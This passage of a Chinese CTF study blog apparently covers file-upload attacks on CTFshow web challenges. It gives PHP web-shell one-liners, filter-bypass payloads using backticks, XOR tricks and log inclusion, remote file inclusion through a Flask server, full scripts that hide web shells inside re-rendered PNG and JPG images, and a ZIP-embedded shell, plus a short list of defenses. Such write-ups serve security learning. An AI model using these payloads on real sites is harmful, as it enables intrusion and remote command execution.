而数组只有2位取不到save_name[2]只能用.来代替。最后文件为upload-20.php.而Windows会自动把结尾的点去掉

image-20250405163938386

image-20250405164203469

image-20250405164210989

文件上传的防御方法

1、服务器端使用白名单防御。 2、修复 web 中间件的漏洞。 3、禁止客户端存在可控参数。 4、存放文件目录禁止脚本执行。 5、限制后缀名 一定要设置图片格式 jpg、gif 、png。 6、文件名随机的,不可预测。

upload_file

对文件内容过滤的绕过

对文件内容的过滤绕过通常要搭配前面的上传绕过使用,比如成功上传了一个png木马,可以通过上传.user.ini利用。又比如在检测内容的同时,会检测文件头是不是GIF89a。所以要视情况结合使用

过滤了php

我们最常用的一句话木马是

<?php @eval($_POST['cmd']);?>

当php被过滤了这种情况显然不能用,还可以使用以下几种常用的payload

<script language="php">@eval($_POST["cmd"]);</script>
<?= eval($_POST['cmd']);?>

过滤了php,[]

如果发现还将[]给过滤了的话,这样我们常规的一句话木马就无法使用了。

可以通过下面几种方式绕过

<?= @eval($_POST{'cmd'});?>     //将[]替换成{}的效果一样
<?=eval(filter_input(INPUT_POST, '1'));?>       //这样也能等效于POST

当然可以不写一句话木马,可以直接命令执行
<= system('cat f*');?>

过滤了php,[],{}

没什么好说的,可以直接命令执行

<= system('cat f*');?>

过滤了php,[],{},(),;

首先是绕过;的过滤,这个好绕过,使用下面的payload

<= system('cat f*') ?>
因为这个payload是以?>结尾的,以这个结尾的话最后一个;可以省略。

然后是绕过()

这种情况下常规的命令执行都不太行了,因为一般的命令执行函数都要使用()。

但是下面这种方式也可以当作命令执行。

`cat flag.php`        等价于system("cat flag.php");

所以可以使用下面的payload

<?= `cat ../fl?g*` ?>

过滤了php,[],{},(),;,``,空格(包含日志文件)

这种情况下连用反引号去命令执行也不行了。并且还过滤了空格。

这个时候我们还可以使用include包含日志文件(并在UA处写入一句话木马)到上传的文件内,然后通过.user.ini将上传的文件包含到index.php内。

<?=include"/var/log/nginx/access.log"?>

如果还对log进行了过滤

可以使用点对路径进行拼接,从而绕过

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

还可以通过下面这种方式去绕过

<?=$c="g"?><?=include"/var/lo$c/nginx/access.lo$c"?>

如果还对点进行了过滤

对一般的点可以使用\x2e进行绕过(但是不能用这个进行字符串的拼接)

所以Payload可以如下

<?=$c="g"?><?=include"/var/lo$c/nginx/access\x2elo$c"?>

对于点的绕过,还可以使用两字符异或。又或者是一个字符取反得到

GIF98a
<?=$a="Ñ"?>  
<?=$b=~$a?>
<?=$l="l"?>
<?=$o="o"?>
<?=$g="g"?>
<?=include"/var/$l$o$g/nginx/access$b$l$o$g"?>

上面这个payload中Ñ取反后就是点。

GIF89a <?=$a="]"?> <?=$d="s"?> <?=$b=$d^$a?> <?=$g="l"?> <?=$o="o"?> <?=$c="g"?> <?=include"/var/$g$o$c/nginx/access$b$g$o$c"?>

这个payload则是两个字符异或后得到点。

当然还可以是两个字符或以后得到点,这里可以跟前面学习的RCE知识结合。

远程文件包含

其实大部分时候都可以使用远程文件包含来解答。

原理:在自己的服务器或者flask服务上放一个想被包含的文件。然后远程include这个文件的ip即可。

但是有很多需要注意的地方,经过我的测试发现如果先在muma.png里远程包含完,然后在.user.ini里包含muma.png的话很有可能访问index.php的时候会卡死没反应。但是我在本地测试的是能正常包含的(没使用.user.ini)。所以我觉得很奇怪不知道是什么问题。

还有一点就是,当过滤点的时候,ip换成长整型以后,无论怎么样都会报错。我问ai它每次都说是php不支持include一个长整型ip。但是大佬们的Wp都是那么做的啊,我又很纳闷了。

以上遇到的问题,先暂留以后再解决

下面是部署flask的代码

import flask
from flask import request, redirect,send_file

app = flask.Flask(__name__, static_folder='static')

@app.route('/')
def index():
    filename = '233.txt'
    return send_file(filename)

# 2130706433

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)

二次渲染图片码

图片码的利用前提是文件包含漏洞,只有文件包含图片,才会执行图片里我们插入的php恶意代码。

PNG的二次渲染图片码

直接用大佬给的脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); #保存在本地的图片马
?>

插入图片的木马是

<?=$_GET[0]($_POST[1]);?>

脚本的使用方法就是直接运行,运行后会自动生成一张图片。

以十六进制查看一下图片

image-20250714142620078

可以看到确实插入了

具体案例可以参考CTFshow-web入门-web164

JPG二次渲染图片码

参考案例:CTFshow-web入门

JPG的二次渲染图片码比较麻烦

这里有一个国外大佬的脚本

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=eval(\$_POST[7]);?>"; //注意$转义

    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

使用方法是

php JPG_xuan.php 2.jpg

第二个参数是你给脚本文件的命令,第三个参数是你想插入木马的jpg图片。

值得一提的是,最好在linux中来执行,成功率会高一点。

并且选择的图片不同也会影响成功率,这里我使用的是大佬们广泛使用的成功率比较高的图片。如下

这里直接拿去用脚本还是不太容易成功,最好先拿去上传。上传完靶场会对其二次渲染,然后我们保存二次渲染后的图片,命名为2.jpg。

然后再拿这张图片跑脚本。(原因是经过靶场二次渲染的图片,插入图片码后再上传二次渲染的变化会小很多,这样木马插入的位置的变化的可能性就更小,成功率就越高)

image-20250715001250568

可以看到如果成功的话,生成了一个payload_2.jpg。

这张图片明显暗一个色调,并且图片中插入的木马如下

<?=eval(\$_POST[7]);?>

然后就可以传参利用了

image-20250715001426891

ZIP插入木马

本漏洞利用的前提是允许上传ZIP文件并允许下载,并且在点击下载的时候触发的是文件包含,也就是有文件包含漏洞。

参考例子:CTFshow-web入门-web166

如果有winrar的话可以直接右键创建一个zip文件

image-20250715135010908

然后用记事本编辑,在结尾处写入一句话木马。

image-20250715135031836

然后便可以上传。下面我就以Web166题目为例子讲解

上传成功后发现可以下载,点击下载并抓包。

image-20250715002646663

可以看到,点击下载的时候也很像文件包含。那么我们可以往zip的结尾写入php木马,这样被包含的时候便会解析。

这里可以使用HexEdit或者vscode编辑,写入我们的木马

image-20250715003200398

然后再重新上传,并抓下载的包,然后修改为POST然后传参

注意不只是修改了开头的POST就可以了,在bp里手动从GET改成POST还需要添加一行

Content-Type: application/x-www-form-urlencoded

然后便可以传参命令执行了

image-20250715005538023

直接读取flag

image-20250715005658895

免杀

因为手头的事情太多了,免杀这快地方很值得花时间研究,所以先给自己埋个坑,等有时间了再来好好研究。

基础免杀

对应CTFshow-web入门web168

进阶免杀

对应CTFshow-web入门web169

终极免杀

对应CTFshow-web入门web170

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注